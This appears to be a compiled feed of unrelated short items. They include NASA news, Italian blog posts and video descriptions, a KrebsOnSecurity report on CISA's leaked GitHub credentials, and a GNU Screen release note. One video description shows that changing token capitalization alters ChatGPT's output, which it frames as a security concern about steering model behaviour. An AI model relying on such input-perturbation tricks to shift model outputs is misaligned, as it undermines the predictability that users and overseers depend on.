Follow along on social media and at https://www.nasa.gov/freedom250/ to learn more about where to spot the aircraft (dependent upon availability and flying schedules):

  • July 23-24: EAA AirVenture, Oshkosh, Wisconsin
  • Oct. 3-4: Pacific Airshow, Huntington Beach, California
  • And more…

Check out more images here: https://www.nasa.gov/gallery/freedom-250/

Two red, white and blue jet aircraft are sitting on the ramp ready for takeoff. The body of the aircraft is painted in blue with white stars, and the wings are red and white stripes to mirror the American flag.
NASA’s F-15, right, and F/A-18 aircraft are shown at International Aerospace Coatings Inc.’s facility in Spokane, Washington, on Thursday, July 2, 2026, with new red, white, and blue paint to celebrate America’s 250th birthday. The aircraft, from NASA’s Armstrong Flight Research Center in Edwards, California, participated in the Freedom 250 flyover in Washington on Saturday, July 4, 2026, with other NASA and military aircraft. NASA/Jim Ross
NASA/Jim Ross
Two red, white and blue jet aircraft are sitting on the ramp ready for takeoff. The body of the aircraft is painted in blue with white stars, and the wings are red and white stripes to mirror the American flag.
NASA’s F-15 aircraft is shown at International Aerospace Coatings Inc.’s facility in Spokane, Washington, on Thursday, July 2, 2026, with new red, white, and blue paint to celebrate America’s 250th birthday. The aircraft, from NASA’s Armstrong Flight Research Center in Edwards, California, participated in the Freedom 250 flyover in Washington on Saturday, July 4, 2026, with other NASA and military aircraft. NASA/Jim Ross
NASA/Jim Ross
Two red, white and blue jet aircraft are sitting on the ramp ready for takeoff. The body of the aircraft is painted in blue with white stars, and the wings are red and white stripes to mirror the American flag.
NASA’s F-18 aircraft is shown at International Aerospace Coatings Inc.’s facility in Spokane, Washington, on Thursday, July 2, 2026, with new red, white, and blue paint to celebrate America’s 250th birthday. The aircraft, from NASA’s Armstrong Flight Research Center in Edwards, California, participated in the Freedom 250 flyover in Washington on Saturday, July 4, 2026, with other NASA and military aircraft. NASA/Jim Ross
NASA/Jim Ross

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Last Updated
Jul 14, 2026
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Dede Dinius
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Gli assistenti AI di coding sono sicuri? Il caso xAI

Gli strumenti di AI per lo sviluppo software promettono di aumentare la produttività degli sviluppatori, ma una recente analisi indipendente riaccende il dibattito sulla sicurezza dei dati affidati agli assistenti di coding. Al centro della vicenda c’è Grok Build, il tool a riga di comando di xAI, accusato di aver trasmesso (in chiaro) ai server […]

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Grey Man: la discrezione come strategia di sicurezza

Parte 1 – Comprendere

Cos’è realmente la Grey Man Theory, cosa può insegnarci la psicologia dell’attenzione e perché passare inosservati non significa diventare invisibili

Quando si parla di preparazione alle emergenze, l’immaginario collettivo tende spesso ad associare il prepper a un’estetica immediatamente riconoscibile: abbigliamento tattico, zaino dotato di sistema MOLLE, scarponi robusti, numerose tasche, strumenti visibili e un atteggiamento costantemente vigile.

Questo tipo di equipaggiamento può essere perfettamente funzionale in determinati ambienti. In una stazione ferroviaria, in un centro commerciale o durante uno spostamento urbano, però, potrebbe comunicare più informazioni di quanto sia opportuno.

Potrebbe suggerire che una persona è organizzata, preparata o in possesso di attrezzature e risorse utili. In condizioni ordinarie ciò potrebbe essere irrilevante. In uno scenario caratterizzato da tensione, scarsità o disordine, invece, attirare inutilmente l’attenzione potrebbe diventare un fattore di rischio.

Da questa considerazione nasce ciò che nel mondo del prepping, del survival e della sicurezza personale viene comunemente chiamato Grey Man, letteralmente “uomo grigio”.

  • Il Grey Man, però, non è necessariamente vestito di grigio.
  • Non è invisibile.
  • E non è una spia.

Il principio può essere riassunto in modo molto più semplice:

Quando la situazione lo richiede, evitare di diventare inutilmente rilevanti agli occhi degli altri.

In breve

Il Grey Man non cerca necessariamente di non essere visto.

Cerca di non offrire ragioni particolari per essere osservato più attentamente, ricordato o selezionato.

Non esiste un colore, un abbigliamento o uno zaino capace di rendere una persona invisibile. La discrezione dipende dalla relazione tra individuo, comportamento, equipaggiamento e ambiente.

Una strategia pratica, non una teoria scientifica

L’espressione Grey Man Theory è molto diffusa negli ambienti prepper e survival, ma non indica una teoria scientifica formalizzata con una definizione accademica condivisa.

Non risulta inoltre prudente attribuirle un’unica origine militare, di intelligence o storica senza disporre di fonti primarie sufficientemente solide.

È più corretto considerarla una strategia pratica composta da principi provenienti da ambiti differenti, tra cui:

  • consapevolezza situazionale;
  • adattamento al contesto;
  • gestione dell’attenzione;
  • comunicazione non verbale;
  • protezione delle informazioni;
  • riduzione dell’ostentazione;
  • sicurezza personale.

Questa distinzione è essenziale.

Un suggerimento nato dall’esperienza può essere ragionevole senza rappresentare una legge scientifica. Allo stesso modo, uno studio di psicologia non deve essere utilizzato per dimostrare qualcosa che non ha esaminato direttamente.

Vedere non significa necessariamente notare

Ogni giorno siamo esposti a una quantità enorme di informazioni: volti, movimenti, suoni, veicoli, colori, cartelli, oggetti e conversazioni.

Il cervello non elabora tutto con la stessa profondità. L’attenzione seleziona una parte delle informazioni disponibili, privilegiando ciò che appare pertinente rispetto al compito che stiamo svolgendo, ai nostri obiettivi e alle nostre aspettative.

Uno dei fenomeni più conosciuti in questo ambito è la cecità da disattenzione, o inattentional blindness.

Nel celebre studio pubblicato nel 1999 da Daniel Simons e Christopher Chabris, i partecipanti dovevano osservare un filmato e contare i passaggi effettuati da alcuni giocatori. Durante la scena compariva un evento inatteso e molto evidente, che una parte consistente degli osservatori non riferiva di aver notato. Lo studio è diventato noto attraverso il cosiddetto esperimento del “gorilla invisibile”. L’esperimento non dimostra la Grey Man Theory e non prova che una persona possa rendersi volontariamente invisibile.

Dimostra qualcosa di diverso:

Essere presenti nel campo visivo di qualcuno non significa necessariamente diventare il centro della sua attenzione.

Il lavoro di Arien Mack e Irvin Rock sulla cecità da disattenzione ha contribuito a mostrare quanto la percezione cosciente dipenda dall’attenzione dedicata agli stimoli presenti.

Essere visibili, essere notati ed essere ricordati non sono necessariamente la stessa cosa.

L’attenzione non è un interruttore

Sarebbe però sbagliato concludere che sia sufficiente confondersi con lo sfondo per non essere notati.

Ciò che richiama l’attenzione dipende da molti fattori:

  • ciò che una persona sta cercando;
  • ciò che si aspetta di vedere;
  • il compito che sta svolgendo;
  • le caratteristiche dello stimolo;
  • la posizione rispetto al punto osservato;
  • l’esperienza dell’osservatore;
  • il contesto complessivo.

Anche la posizione di uno stimolo rispetto al centro dell’attenzione può influire sulla probabilità che venga rilevato. Grey Man non può essere ridotto a una formula del tipo:

Colori neutri uguale invisibilità.

Il colore è soltanto una variabile. Possono essere altrettanto importanti:

  • la forma dello zaino;
  • la postura;
  • il modo di camminare;
  • la velocità dei movimenti;
  • la direzione dello sguardo;
  • il tono della voce;
  • gli oggetti trasportati;
  • la coerenza complessiva con il luogo.

La domanda corretta non è quindi:

“Quale colore mi rende meno visibile?”

La domanda più utile è:

“Che cosa, in questo specifico ambiente, potrebbe rendermi insolitamente interessante?”

La normalità è contestuale

Non esiste un abbigliamento Grey Man valido ovunque.

Una persona con scarponi, pantaloni tecnici e zaino da escursionismo può essere assolutamente ordinaria all’inizio di un sentiero montano.

Lo stesso abbigliamento potrebbe risultare più riconoscibile in un ambiente professionale o durante una serata elegante.

Un completo formale può essere normale in un centro direzionale e insolito durante un’attività di volontariato in una zona alluvionata.

Persino un colore acceso non è sempre incompatibile con la discrezione. Durante una festa o un evento sportivo, presentarsi completamente vestiti di nero, grigio o verde oliva potrebbe rendere una persona più riconoscibile rispetto a chi indossa i colori diffusi tra i partecipanti.

Il concetto fondamentale è quindi quello della normalità contestuale.

Essere Grey Man non significa adottare un’uniforme. Significa capire che ciò che appare normale in un luogo può risultare insolito in un altro.

Errore comune

Pensare che esista un “look Grey Man”.

Pantaloni tecnici, cappellino neutro, occhiali scuri e zaino tattico possono creare un nuovo stereotipo facilmente riconoscibile.

Non invisibili, ma meno rilevanti

Il termine “invisibile” viene spesso utilizzato nella divulgazione sul Grey Man. È efficace dal punto di vista narrativo, ma rischia di essere fuorviante.

Nessuna tecnica può garantire che una persona:

  • non venga osservata;
  • non venga ricordata;
  • non venga riconosciuta;
  • non venga ripresa da una telecamera;
  • non richiami l’attenzione di qualcuno.

Il Grey Man deve essere considerato un tentativo di ridurre la rilevanza non necessaria della propria presenza, non una tecnica di invisibilità.

In termini semplici:

Non diventare la cosa più interessante nell’ambiente, quando non esiste una buona ragione per esserlo.

Il Grey Man non è un travestimento

Trasformare la discrezione in una recita può produrre l’effetto opposto.

Un abbigliamento può apparire formalmente coerente, mentre il comportamento racconta qualcosa di completamente diverso.

Una persona può vestirsi come un escursionista, ma muoversi in modo evidentemente inesperto.

Può utilizzare uno zaino urbano, ma proteggerlo ossessivamente come se contenesse qualcosa di eccezionale.

Può cercare di apparire rilassata, controllando però in continuazione ciò che accade alle proprie spalle.

La discrezione efficace non nasce necessariamente dalla costruzione di una falsa identità.

Nasce soprattutto dalla coerenza tra aspetto, comportamento e contesto.

Un’anomalia non è una prova

Un’altra interpretazione problematica del Grey Man consiste nel considerare ogni persona o comportamento insolito come una possibile minaccia.

Questo approccio può generare valutazioni errate, ipervigilanza e reazioni sproporzionate.

Una persona può deviare dalla normalità di un ambiente per numerose ragioni innocue:

  • non conosce il luogo;
  • ha una disabilità;
  • sta cercando qualcuno;
  • è in ritardo;
  • ha ricevuto una telefonata importante;
  • è semplicemente distratta.

La consapevolezza situazionale richiede osservazione e valutazione, non conclusioni immediate.

Principio AIP

Un’anomalia è un’informazione, non una prova.

I limiti del Grey Man

Il Grey Man:

  • non garantisce anonimato;
  • non elimina i rischi;
  • non sostituisce la consapevolezza situazionale;
  • non rende invisibili alle tecnologie di sorveglianza;
  • non impedisce a un osservatore attento di notare una persona;
  • non è adatto a tutte le emergenze.

Durante una ricerca o un soccorso, essere visibili può salvare la vita.

In ambiente naturale, colori facilmente individuabili possono facilitare il ritrovamento.

Durante un incendio, un’alluvione o un incidente, segnalare chiaramente la propria posizione può essere prioritario.

La discrezione è quindi uno strumento situazionale, non una regola universale.

Comprendere prima di applicare

Il valore del Grey Man non consiste nell’insegnare alle persone a nascondersi.

Consiste nel ricordare che comunichiamo continuamente informazioni attraverso:

  • l’aspetto;
  • il comportamento;
  • ciò che trasportiamo;
  • il modo in cui ci muoviamo;
  • il modo in cui interagiamo.

Il Grey Man non è un colore.

Non è uno zaino.

Non è una tecnica infallibile.

È, nella sua interpretazione più ragionevole, una forma di adattamento consapevole al contesto.

E per adattarsi a un ambiente, prima bisogna imparare a leggerlo.


Continua lo Speciale AIP

Parte 2 — Grey Man nella pratica: ambiente, comportamento ed equipaggiamento

Nella seconda parte analizzeremo come osservare la linea di base e il flusso di un ambiente, come scegliere equipaggiamento e abbigliamento coerenti e quali comportamenti possono attirare involontariamente l’attenzione.


Nota metodologica

La Grey Man Theory è un concetto divulgativo diffuso soprattutto negli ambienti prepper, survival e della sicurezza personale, non una teoria scientifica formalizzata.

Gli studi sulla cecità da disattenzione vengono citati per illustrare alcuni meccanismi dell’attenzione umana. Non costituiscono una dimostrazione sperimentale dell’efficacia complessiva del Grey Man.

Fonti essenziali

Simons, D. J., & Chabris, C. F. (1999).
Gorillas in our midst: Sustained inattentional blindness for dynamic events. Perception, 28(9), 1059–1074. DOI: 10.1068/p281059.

Mack, A., & Rock, I. (1998).
Inattentional Blindness. MIT Press.

L'articolo Grey Man: la discrezione come strategia di sicurezza proviene da Associazione Italiana Preppers.

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Chiusura estiva 2026

L’Istituto Storico della Resistenza e della Società Contemporanea di Livorno rimarrà chiuso al pubblico, in tutti i suoi servizi (archivio, biblioteca, didattica e uffici) dal 14 al 24 agosto compresi.

Auguriamo a tutti buon riposo e vi aspettiamo per le nostre numerose iniziative a partire da settembre!

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Token case sensitivity effect on ChatGPT output

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A demonstration of how changing the capitalization of just two tokens (from lowercase 'low' to uppercase 'Low') completely changes ChatGPT's output selection, causing it to choose different tokens as winners in the model's prediction. This illustrates a potential security concern where minor, non-semantic changes in text can significantly alter the AI's behavior and output.

0:00 Token case sensitivity demo

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NASA Study Points to Smoother Air Taxi Rides

3 min read

Preparations for Next Moonwalk Simulations Underway (and Underwater)

A brown and yellow platform holding a seat that is raised up in the air is holding one passenger. The passenger is wearing virtual reality goggles and a harness. There is a TV monitor to the right of the monitor showing the words “liftoff” and a second screen behind the passenger.
Matt Kamlet, an employee at NASA’s Armstrong Flight Research Center in Edwards, California, sits atop the virtual reality passenger ride quality simulator during a study of air taxi motion Monday, Dec. 15, 2025. NASA recently completed a multi-year study to understand how large, sudden air taxi motion affects ride comfort.
NASA/Christopher LC Clark

No one wants to get into an uncomfortable aircraft. NASA research could help the emerging industry of air taxis —small, vertical-takeoff-and-landing aircraft meant for short trips — understand the relationship between comfort and willingness to fly.

That’s where NASA comes in, with data that can help identify how to plan air taxi rides that can keep travelers feeling good.

NASA was able to gather that data by putting its own employees through some rough virtual flights. At the agency’s Armstrong Flight Research Center in Edwards, California, volunteers have been strapping into a virtual reality motion simulator to experience the sudden shifts and tilts that tomorrow’s air taxis could encounter, showing researchers those moments feel from a passenger’s point of view.

Their reactions are giving NASA new insight into how aircraft motion influences comfort and confidence in flight — for instance, that certain kinds of large, sudden motions can be especially bothersome. Using that data, the team developed new models linking those sudden motions to passengers’ willingness to fly. The models can help guide future aircraft design and flight operations, letting producers know what maneuvers will be too jarring for future air taxi riders.

Large, sudden movements can also come from gusting winds or landings. The NASA data allows researchers to estimate when passengers may begin to feel uncomfortable as motion increases, giving them the ability to shape aircraft designs and operations to minimize the impact of those situations.

“Through this study and others, we are starting to identify passenger comfort thresholds for aggressive flight motion,” said Curtis Hanson, NASA Armstrong lead researcher for this effort. “We can begin to make predictions about how air taxis should fly so that most passengers will find the experience enjoyable and want to ride again, which will benefit the public and the industry.”

In the simulator, each participant experienced four levels of their aircraft pitching up and down, tilting from side-to-side, rotating, or accelerating quickly into a climb or a dive during flights from downtown San Francisco to Alcatraz Island in California. Even moderate changes in these motions reduced comfort for some participants, while others remained comfortable at higher levels. Participants rated each flight on a five-point scale and identified which motions felt uncomfortable.

Participants were asked whether they would take a real air taxi flight with motion they find uncomfortable. Their answers suggested that today’s travelers may be less tolerant of rough motion than airline passengers 50 years ago, based on comparisons with earlier NASA ride-quality research.

This latest feedback builds on a multiyear NASA study to better understand air taxi passenger comfort. The overall research effort found clear relationships between specific aircraft motions and how comfortable people feel during flight.

This work is currently led under the Subsonic Vehicle Technologies and Tools project in NASA’s Research and Technology Mission Directorate and contributes to the agency’s advanced air mobility research.

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Last Updated
Jul 13, 2026
Editor
Dede Dinius
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Episodio 1167: Siamo a casa di amici e ci stanno aiutando a preparare il camper per la prossima parte del viaggio. Dobbiamo costruire una scatola di acciaio inox dove mettere quattro pesantissime catene da neve per affrontare le strade più difficili nel prossimi inverno in Scandinavia. Ecco come sta andando!

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Agenda Rossa Borsellino: il Carteggio Segreto che Ricattò l'Italia — Parte 3

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Cosa nascondeva davvero l'Agenda Rossa di Paolo Borsellino? E quale legame potrebbe esistere con il misterioso carteggio tra Winston Churchill e Benito Mussolini? Due vicende apparentemente lontane che continuano ad alimentare uno dei più grandi misteri della storia italiana.

In questa terza e ultima parte analizziamo la scomparsa dell'Agenda Rossa di Paolo Borsellino dopo la strage di via D'Amelio del 19 luglio 1992 e il presunto carteggio segreto Churchill-Mussolini, da decenni al centro di ipotesi, testimonianze e ricerche storiche. Un viaggio tra documenti scomparsi, depistaggi e interrogativi ancora aperti.

Cosa troverai in questo video:
✔ La scomparsa dell'Agenda Rossa di Paolo Borsellino
✔ I depistaggi e le testimonianze legate alla strage di via D'Amelio
✔ Il mistero del carteggio segreto tra Churchill e Mussolini
✔ Le trattative riservate durante la Seconda Guerra Mondiale
✔ I documenti scomparsi dagli archivi di Stato
✔ Le ipotesi sul possibile ricatto politico legato ai documenti

► Playlist completa della serie:
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BAD DRIVERS OF ITALY dashcam compilation 7.13 - ANALFABETA

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Trova la tua prossima DASHCAM https://sicurisullastrada.it/dashcam/
Dubbi o domande? Trovi qui le RISPOSTE https://sicurisullastrada.it/dashcam-5-minuti-per-sapere-tutto/
Vuoi inviarci le clip della TUA DASHCAM? Guarda come fare su https://bit.ly/inviavideo
Seguici sui canali BDOI per essere AGGIORNATO e vedere le MIGLIORI CLIP https://bit.ly/canalibdoi
Hai domande o curiosità? COMMENTA sotto al video oppure CONTATTACI https://bit.ly/contattabdoi
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This video shows DANGEROUS behaviors not to imitate! Always drive carefully!
Do you want to send us the clips of YOUR DASHCAM? See how on https://bit.ly/inviavideo
Follow us on BDOI channels to be UPDATED and see the BEST CLIPS https://bit.ly/canalibdoi
Do you have any questions or curiosities? COMMENT below the video or CONTACT US https://bit.ly/contattabdoi

#baddriversofitaly #dashcam #compilation
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Controllare le idee è veramente più importante di guardare il codice?

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Commentario sull'ultimo articolo di Antirez
- https://antirez.com/news/169

Ci ha fatto anche un video al riguardo
- https://www.youtube.com/watch?v=XZZ_ddBvELc

Il progetto Esadecimale nasce per offrire il migliore spazio di didattica informatica presente in tutto il territorio Italiano. Se vuoi supportare la mia missione puoi approfondire il mio progetti tramite i seguenti link:
https://esadecimale.it
https://learn.esadecimale.it
https://cyber.esadecimale.it
https://forum.esadecimale.it
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NASA Astronaut Anil Menon

NASA astronaut and Expedition 75 flight engineer Anil Menon poses in a spacesuit for a portrait at NASA's Johnson Space Center in Houston, Texas.

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RIPE NCC Strategy 2027-31 Published

The RIPE NCC Strategy 2027-31 is now available. This strategy builds upon our existing vision, mission and values and sets the long-term direction for the organisation. The document explains RIPE NCC’s role in the Internet ecosystem, sets out six strategic focus areas for the coming five-year period and the external factors that influence our operating environment.
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RIPE NCC Strategy 2027-31 Published

The RIPE NCC Strategy 2027-31 is now available. This strategy builds upon our existing vision, mission and values and sets the long-term direction for the organisation. The document explains RIPE NCC’s role in the Internet ecosystem, sets out six strategic focus areas for the coming five-year period and the external factors that influence our operating environment.
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Lessons Learned from CISA’s Recent GitHub Leak

The Cybersecurity and Infrastructure Security Agency (CISA) has issued a postmortem on a recent data leak in which a contractor published dozens of internal CISA credentials — including AWS Govcloud keys — in a public GitHub repository for almost six months before being notified by KrebsOnSecurity. Experts say the gaps identified in the agency’s initial response provide important lessons that all security teams should absorb.

On May 15, 2026, the security firm GitGuardian asked for help in notifying CISA about the existence of a public GitHub repository called “Private CISA” that included 844 MB of sensitive CISA-related data. One of the exposed files, titled “importantAWStokens,” included the administrative credentials to three Amazon AWS GovCloud servers. Another file — “AWS-Workspace-Firefox-Passwords.csv” — listed plaintext usernames and passwords for dozens of internal CISA systems.

CISA quickly acknowledged our initial alert, but took more than 48 hours to invalidate the AWS keys and many other important secrets leaked in the GitHub repo. In its report on the data leak, CISA said the complexities of the agency’s systems and interconnections with federal and industry partners caused its key rotation to take longer than anticipated.

“Drawing on this experience, CISA encourages others to maintain mature and well-tested key management capabilities,” the report notes.

CISA also admitted it can do better when it comes to responding to security incident notifications from external parties. The postmortem stresses that clear and distinct reporting channels are essential to ensure that incidents affecting the organization itself are handled differently from those involving its products or customers.

“In CISA’s case, these channels were not well defined, leading the security researcher to try multiple avenues – including emailing the contractor, submitting through CISA’s vulnerability disclosure platform (which is intended for vulnerabilities impacting the broader cybersecurity community), and ultimately involving a reporter,” reads the analysis written by Preston Werntz and Brad Libbey, the acting chief information officer and acting chief information security officer at CISA, respectively.

CISA said it is refining its reporting channels to make them easier and faster for researchers. “Additionally, while many researchers rely on the security.txt file, organizations can ensure clarity by publishing reporting instructions in multiple prominent locations,” the CISA authors wrote.

Guillaume Valadon, the GitGuardian researcher who first contacted KrebsOnSecurity about the exposed CISA credentials, said CISA ignored nine automated alerts about the exposed credentials prior to our notification on May 15. Valadon’s company constantly scans public code repositories at GitHub and elsewhere for exposed secrets, automatically alerting the offending accounts of any apparent sensitive data exposures.

“Letting nine notification emails go unanswered is how a one-day incident becomes a six-month exposure,” Valadon wrote in an analysis of CISA’s report. “Make it trivial to report a leak about you, not just about your products. The person reporting a leak to you is not the threat. Publish a security.txt, but do not stop there. Put reporting instructions in several prominent places, and make sure a report about your own infrastructure does not land in a product-bug queue.”

The report’s authors also emphasized the importance of continuously scanning public code repositories like GitHub for exposed secrets, and said CISA has since rotated all secrets and created an action plan to improve management of developer secrets and to better monitor for them going forward.

The report notes that while CISA had developed a playbook for responding to cybersecurity incidents, that playbook somehow didn’t include what to do in situations involving GitHub or other cloud services. Valadon said the report validates the need to scan continuously — not just quarterly — for exposed secrets.

“The Private-CISA repository sat public for six months,” Valadon wrote. “Continuous monitoring of public GitHub surfaced it. Comprehensive internal scanning could have caught the plaintext passwords and committed backups long before they left the building.”

CISA gave itself passing grades on several areas of security preparedness that it said helped the agency gauge the scope and impact of the exposed secrets, including enhanced logging capabilities, and the adoption of zero-trust principles in both its production and development systems. CISA said those detailed logs allowed it to show that no customer or mission data was exposed, and that the leaked credentials were not used outside of CISA’s environments. The agency said the contractor who exposed the secrets had their system access revoked.

Valadon reckons the biggest takeaway is the CISA postmortem itself, and praised the agency for being transparent about what worked and what didn’t.

“To my knowledge, it is also the first time a national cybersecurity agency has publicly advocated for secrets scanning and for simplifying relations with security researchers,” Valadon wrote. “That is exactly the incident communication we should expect from every organization.”

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stanca delle attese

L’altra sera sono arrivata in anticipo a un appuntamento. È la seconda volta in una settimana, forse in tutta la vita. Sono una persona ritardataria. 

Mi sono trovata nel mezzo di una piazza piena di gente e sono rimasta appesa, in piedi, perché non sapevo nemmeno dove sedermi per cena. L’attesa di per sé non è durata molto, I. è arrivata un anticipo (anche lei regina indiscussa del ritardo) e quella sensazione di groviglio attorno al corpo, fonte di un indiscusso imbarazzo, lentamente se n’è andata. 

Aspettare può essere molto soddisfacente, se sai cosa fare. Se ti trovi in mezzo a una folla di gente in cui tutti si conoscono, ma tu non fai parte di nessun gruppo, può diventare un disagio che inizia a farsi sentire nella pesantezza dell’aria, negli sguardi delle persone intorno a te che ti osservano semplicemente perché tu non ti sei accorta che li stai fissando insistentemente, cercando di trovare un diversivo per far scorrere il tempo. 

L’altra sera, per esempio, in quei sessanta secondi di attesa ho osservato: le pietre della piazza, quasi nuove; la facciata della chiesa con le persone sulle panche esterne, ancora verde e bianca; i tre ristoranti che circondavano la piazza: uno sicuramente non era quello giusto, l’altro ero quasi sicura che lo fosse, ma non aveva l’insegna che mi aiutasse a confermarlo, l’ultimo era quello con le pareti color ottanio e il djset che speravo di non dover approcciare in nessun modo. 

Sono passati sessanta secondi, non di più. E se mi metto a pensare alla dilatazione di quel minuto penso a quanto sia relativo il tempo, rispetto al nostro stato d’animo. Il disagio dovrebbe averci insegnato, per evoluzione, ad adattare il corpo a uno stato di ibernazione interiore tale da farlo passare in fretta, senza rendercene troppo conto, e invece mi trovo in questo flusso inceppato da cui vorrei uscire, ma non mi è permesso. 

Le persone intorno a me sono tirate a lucido in un giovedì sera in cui i negozi sono aperti e fa decisamente troppo caldo per rimanere dentro casa, nonostante siano le nove e mezzo. Capisco che la puntualità mi mette in una posizione di svantaggio: devo avere fiducia che arrivi qualcuno o devo per forza contare su di me, sul fatto che quella persona da sola in mezzo a una piazza non sembri troppo strana mentre tenta di far qualcosa della sua vita. Non ho un libro, un cruciverba, ho solo il telefono e un ventaglio sgangherato. 

Quando I. arriva e mi vede, lo so che sta pensando: e adesso che siamo io e te, che di solito non dobbiamo mai aspettare, che ci inventiamo per far passare il tempo? Forse il mondo imploderà e non dovremo pensarci, speriamo. È un sollievo a metà perché solo con gli esperti della puntualità sai davvero di essere al sicuro, perché oltre ad essere puntuali, sono universalmente organizzati. 

La serata prosegue talmente tanto al contrario che L., la persona più puntuale di noi, arriva con tre ore di ritardo. 

Alla fine prendiamo un gelato, che lei aveva già programmato. Mentre ci avviamo, mi trovo a fissare la sua borsa: sopra è stampato l’appeso, la carta degli arcani maggiori numero 12 che simboleggia paradosso, sospensione, attesa e sacrificio. Mi viene in mente un programma di quando ero piccola, dove c’era questa signora con lunghe unghie laccate di rosa e mille bracciali e collane che in un quiz chiedeva ai concorrenti di scegliere tra varie carte per scoprire quale livello di difficoltà e quale argomento celava ogni arcano. La mia preferita, che non esiste nei tarocchi tradizionali, era la Luna nera, la peggiore che ci fosse. C’era anche l’appeso che mi lasciava sempre una sensazione a metà: lui è a testa in giù (posizione divertente per una bambina) ed è fermo e legato mani e piedi, ma non è triste. Il volto è quasi “normale”, quello di uno a cui questa condizione non fa nessun effetto particolare: accetta di essere arrivato per primo, è volontariamente in quella condizione, al punto che in alcune rappresentazioni la testa è circondata da un’aureola dorata. 

Un personaggio strano, abbastanza indecifrabile, ma invidiabile. Sarà che non amo particolarmente stare a testa in giù da quando sono diventata un’adulta perché il sangue va alla testa troppo velocemente e devo aspettare che passi il capogiro prima di ricominciare a vivere. Forse la puntualità di ieri sera (e del giorno precedente) è stata proprio questo: un tentativo di rimanere con la testa sottosopra per un po’, per vedere come si sta dall’altra parte, quella delle persone puntuali. Ma allora, siamo tutti appesi a testa in giù, oppure lo sono sempre stata io e non me ne sono mai resa conto?

The post stanca delle attese first appeared on Stanca.

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HO COMPRATO UNA SUPERBIKE

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Ho ritirato la mia nuova moto da Moto Argento e abbiamo fatto il primo test di questa BMW M1000R 🤯

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Nel video sono presenti inserimenti a scopo commerciale di Moto Argento.
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IN TURNO CON I CARABINIERI: Tensione al Quarticciolo e nei Campi Nomadi (parte 2)

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Benvenuti alla seconda parte del nostro reportage esclusivo a bordo con il Nucleo Radiomobile dei Carabinieri. Continua il turno serale dalle 18:00 alle 24:00, dove la routine non esiste e ogni chiamata nasconde un'incognita.

Gli interventi si susseguono senza sosta: prima l'intercettazione di un'auto sospetta con un conducente senza patente e il mistero di diversi attrezzi edili di dubbia provenienza. Poi, la tensione sale alle stelle con una chiamata d'emergenza da uno dei campi nomadi più complessi e problematici della Capitale, dove un uomo in totale stato di alterazione sta dando in escandescenze in mezzo alla strada.

Infine, un normale controllo di routine nel quartiere del Quarticciolo apre il vaso di Pandora: una serie di anomalie che trasformano un semplice accertamento in una vera e propria indagine sul campo. Dietro la divisa c'è un lavoro costante, rischioso e imprevedibile per la sicurezza della città.

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TRANSUMANESIMO | Seemposium 2026

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L'uomo del futuro sarà ancora… umano? La Silicon Valley ha scelto: transumanesimo come nuovo paradigma. Potenziamento biologico, fusione con l'intelligenza artificiale, superamento dei limiti umani. È questa la strada?

Seemposium 2026 - 12 giugno 2026 - Torino:
👤 Andrea Colamedici - Filosofo, editore ed artista - co-fondatore di Tlon
👤 Andrea Ciucci - Cancelliere della Pontificia Accademia per la Vita (Santa Sede)
👤 Raffaele Mauro - VC @ Primo Venture Capital
🎙️ Moderato da: Andrea Daniele Signorelli - Giornalista
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GUERRA COGNITIVA | Seemposium 2026

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Come si combatte una guerra che non vedi? La cyber warfare era solo l'inizio. Oggi il conflitto è cognitivo: manipolazione dell'informazione, erosione della verità, battaglia per le menti. Dal 2024 ad oggi molto è cambiato.

Seemposium 2026 - 12 giugno 2026 - Torino:
👤 Marco Schiaffino - Giornalista
👤 Stefano Ruzza - Associate Professor of Political Science @ Università degli Studi di Torino
👤 Dario Bassani - Scrittore e responsabile editoriale Lucy sui mondi
🎙️ Moderato da: Andrea Daniele Signorelli - Giornalista
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INFLUENZARE L'OUTPUT DI LLM SENZA PROMPT INJECTION | Andrea `theMiddle` Menin @ Seemposium

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Come controllare e guidare il comportamento dei Large Language Model in modo sicuro ed efficace, senza ricorrere a prompt injection? Un approfondimento tecnico su tecniche avanzate e best practice per l'ottimizzazione degli LLM.

Seemposium 2026 - 12 giugno 2026 - Torino:
🎤 Andrea "TheMiddle" Menin - App Sec Manager @ Sicuranext
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MVN INTERPORTO.  LA SOCIETA’ DI MSC COMUNICA IL PASSAGGIO DAL CONTRATTO NAZIONALE INDUSTRIA A QUELLO DELLA LOGISTICA. INSORGONO I LAVORATORI. USB: SI VUOLE RISPARMIARE SUL COSTO DEL PERSONALE.

La dirigenza della società MVN Srl, appalto Nuovo Pignone (Baker Hughes), ha comunicato ai sindacati e alla RSU la decisione unilaterale di “passare” tutti i lavoratori al contratto nazionale Logistica e Trasporto dal 1° settembre.  MVN che occupa, nei tre siti di Livorno (Varco Galvani, Collesalvetti e Guasticce) oltre 70 lavoratori, produce imballaggi industriali e attività di magazzino e stoccaggio per conto del colosso americano Baker Hughes.  Dall’anno scorso la società è stata acquisita dal gruppo MSC di Aponte.
Nel passaggio dal CCNL industria, metalmeccanico e legno, i lavoratori subiranno una perdita secca sia in termini di diritti e condizioni di miglior favore sia, nel lungo periodo, in termini economici. La dirigenza ha comunicato che la retribuzione annuale lorda resterà invariata ma non sarà così.
Le organizzazioni sindacali hanno avanzato una serie di proposte per gestire il passaggio garantendo opportuni accorgimenti, sia economici che normativi, ma la dirigenza ha rigettato il tentativo di conciliazione confermando la volontà di mantenere il passaggio alle condizioni iniziali.
Per questo, dopo una movimentata assemblea, nei piazzali dell’interporto, i lavoratori hanno votato a maggioranza l’apertura dello stato di agitazione sindacale e un primo pacchetto di scioperi per la prossima settimana. Chiediamo all’azienda di tornare sui propri passi e rimettersi al tavolo.  Pur comprendendo le esigenze tecniche alla base di questa scelta, la stessa non si può e non si deve trasformare nell’ennesima occasione di risparmio sulla pelle dei lavoratori.  Lavoratori già pesantemente colpiti dalla crisi e da un’inflazione alle stelle.
USB sostiene la vertenza dei lavoratori MVN ed è pronta a mobilitare le proprie strutture sindacali in solidarietà.

Usb Livorno

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screen @ Savannah: GNU Screen v.5.0.2 is released

Hi everyone,
I'm glad to announce the new release of GNU screen.

Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.

The 5.0.2 release includes the following changes to the previous release 5.0.1:

  • Add %* escape to output caret character literal ("^")
  • Add portable PAM conversation callback prototype (for Solaris)
  • Fixes:

 - type on big-endian systems
 - UTF-8 combining sequences
 - buffer overflow in SendCmdMessage()
 - detaching fail with empty terminfo and leave the session attached
 - eliminates the TOCTOU race
 - manpage fixes

Release (official tarball) will be available soon for download:
https://ftp.gn ... rg/gnu/screen/
Please report any bugs or regressions.
